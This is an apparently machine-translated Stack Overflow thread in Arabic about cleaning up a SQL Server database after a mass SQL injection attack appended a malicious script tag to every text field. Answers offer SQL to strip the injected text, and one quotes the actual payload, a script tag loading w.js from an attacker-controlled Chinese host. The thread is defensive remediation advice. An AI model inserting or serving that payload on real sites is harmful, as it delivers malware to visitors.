سؤال

لقد تم تكليفي بصيانة موقع ويب غير ربحي وقع مؤخرًا ضحية لهجوم حقن SQL.استغل شخص ما نموذجًا على الموقع لإضافة نص إلى كل حقل متاح يشبه النص في قاعدة البيانات (varchar، nvarchar، وما إلى ذلك) والذي، عند تقديمه بتنسيق HTML، يتضمن ملف JavaScript وينفذه.

يشير بحث Google عن عنوان URL إلى أنه من مرسلي البريد الإلكتروني العشوائي المقيمين في رومانيا أو الصين، ولكن هذا ليس هو المهم الآن.

لقد قمت بمراجعة المعلومات وإزالتها يدويًا من حقول النص التي يتم عرضها على الصفحات الأكثر ظهورًا وشعبية على الموقع، ولكن لدي فضول لمعرفة ما هي أفضل طريقة برمجية لإزالة النص من حقول النص الأخرى على الموقع .

من الواضح أن هناك المزيد مما يجب القيام به (تقوية الموقع ضد حقن SQL، واستخدام شيء مثل تخفيض السعر بدلاً من تخزين HTML، وما إلى ذلك) وأنا أعمل على ذلك ولكن في الوقت الحالي ما أحتاجه حقًا هو طريقة جيدة للبدء وإزالة النص الذي تم إدخاله برمجياً.أعرف ما هو النص بالضبط، فهو نفسه في كل مرة، ويتم إلحاقه دائمًا بنهاية أي حقل نصي.لا أستطيع أن أتحمل إزالة كل HTML من قاعدة البيانات في هذا الوقت ولا أعرف متى حدث هذا بالضبط لذا لا يمكنني العودة إلى النسخة الاحتياطية.كما أن الموقع موجود على استضافة مشتركة ولا أستطيع الاتصال بقاعدة البيانات مباشرة باستخدام أدوات SQL Server.يمكنني تنفيذ استعلامات ضدها، لذلك إذا كانت هناك أي طريقة لإنشاء بيان تحديث SQL لتأثير "مرحبًا بالعثور على جميع الحقول النصية في جميع الجداول في قاعدة البيانات بأكملها والقيام بذلك لتنظيفها" فسيكون ذلك هو الحل أفضل.

هل كانت مفيدة؟

المحلول

استعادة البيانات من نسخة احتياطية حديثة.

نصائح أخرى

لقد كنت ضحية ويمكنك استخدامه للتنظيف

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1)
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0)))

على افتراض أنك وقعت ضحية لنفس الهجوم مثل أي شخص آخر، فإن كود SQLMenace قريب.ومع ذلك، يستخدم هذا الهجوم عددًا من عناوين URL النصية المختلفة، لذا سيتعين عليك تخصيصه للتأكد من مطابقته لعنوان URL الذي تراه في قاعدة بياناتك.

لقد كتبت عن ذلك أيضا, ، وتضمن رمز الحل الخاص بي عملية تنظيف أكثر عمومية.

نقطة واحدة مهمة هي أن أول شيء عليك القيام به هو إنزال الموقع.أنت الآن تقدم برامج ضارة للمستخدمين بشكل نشط، وقد يضعك ذلك في حل قانوني لاحقًا.قم بوضع صفحة نائبة حتى لا يتم ترك المستخدمين في الظلام، ولكن لا تستمر في تقديم البرامج الضارة.ومن ثم يمكنك إصلاح الموقع للتأكد من أنه لم يعد عرضة للحقن.أبسط طريقة للقيام بذلك لهذا الهجوم بالذات هو مجرد تعطيل أذونات sysobjects/syscolumns لمستخدم الويب الخاص بك، ولكنك ستحتاج إلى إجراء المزيد من خلال التنظيف أيضًا أو أنها مسألة وقت فقط حتى يتم اختراقك مرة أخرى.ثم يمكنك استخدام الكود المقدم لتنظيف الموقع وإعادته إلى البث المباشر.

سيؤدي هذا إلى عكس ذلك، وسيكون من الحكمة أيضًا إزالة أذونات sysobject من اسم المستخدم الذي يعمل به موقعك، ولتطهير المدخلات بالطبع

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT  a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['+@T+'] where ['+@C+']  like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['+@T+'] set ['+@C+']=replace(['+@C+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['+@C+']  like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

لقد كتبت عن هذا منذ فترة هنا: أصدرت Microsoft أدوات لمعالجة هجمات حقن SQL

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top